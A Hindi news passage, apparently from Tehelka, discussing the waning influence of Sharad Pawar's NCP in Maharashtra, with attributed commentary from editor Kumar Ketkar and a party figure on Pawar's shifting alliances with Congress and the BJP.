हालांकि मराठी अखबार ‘दिव्य मराठी’ के मुख्य संपादक कुमार केतकर की इस बारे में राय कुछ अलग है. तहलका से बात करते हुए वह कहते हैं,  ‘राजनीति में शरद पवार और उनकी पार्टी दोनों का कद कम हुआ है. उन्होंने भले ही कांग्रेस से गठबंधन कर रखा हो, लेकिन उनका मन कभी कांग्रेस के साथ नहीं था. वह शुरू से ही गांधी परिवार के विरोधी थे. सिर्फ सत्ता में बने रहने के लिए वह कांग्रेस के साथ थे, वरना कांग्रेस का साथ वह 2009 में ही छोड़ रहे थे जब कांग्रेस के जीतने में शुबहा था. लेकिन जब कांग्रेस की 206 सीटें आईं, तो वह कांग्रेस के साथ हो लिए.’

राजनीति में शरद पवार और उनकी पार्टी दोनों का कद कम हुआ है. उन्होंने भले ही कांग्रेस से गठबंधन कर रखा हो, लेकिन मन कभी कांग्रेस के साथ नहीं था

केतकर के मुताबिक, ‘जब 2014 के लोकसभा चुनाव में कांग्रेस हारी, तभी से पवार भाजपा के संपर्क में थे. विधानसभा चुनावों के पहले ही उनके और भाजपा अध्यक्ष अमित शाह के बीच समझौता हो गया था, जिसके अनुसार अगर भाजपा विधानसभा चुनाव अकेली लड़ेगी तो राकांपा भी चुनाव अकेली लड़ेगी. इसीलिए जैसे ही भाजपा ने शिवसेना से गठबंधन तोड़ा, राकांपा ने भी कांग्रेस का साथ छोड़ दिया और चुनाव के बाद भाजपा को बाहर से समर्थन का एलान कर दिया था. पवार हमेशा सत्ता में रहना चाहते हैं. उनकी वफादारी विचारधारा से नहीं, बल्कि सत्ता से है.’

प्रकाश भी मानते हैं कि उनके दल का प्रभाव घट रहा है. प्रकाश कहते हैं, ‘महाराष्ट्र में राकांपा का प्रभाव कम होता जा रहा है. राष्ट्रवादी कांग्रेस एक सामंतवादी पार्टी है. यह आम जनता से जुड़ी पार्टी नहीं है. यहां एक व्यक्ति की इच्छा के अनुसार काम होता है, न कि लोगों की इच्छा के मुताबिक. यह पार्टी यशवंतराव चव्हाण के मॉडल को माननेवाली पार्टी के रूप में स्थापित हुई थी, लेकिन यह लोग उनको भुला चुके हैं और बिना किसी नीति के काम करते हैं.’

प्रकाश के मुताबिक, ‘पश्चिम महाराष्ट्र और मराठवाड़ा के क्षेत्रों में भी पार्टी का प्रभाव कम हुआ है. रही बात खानदेश, विदर्भ और कोंकण की, तो पार्टी का वहां पर पहले भी इतना प्रभुत्व नहीं था. अगर भाजपा-शिवसेना की सरकार ने आनेवाले पांच साल में अच्छा काम कर दिखाया, तो राकांपा के अस्तित्व पर संकट आ सकता है.’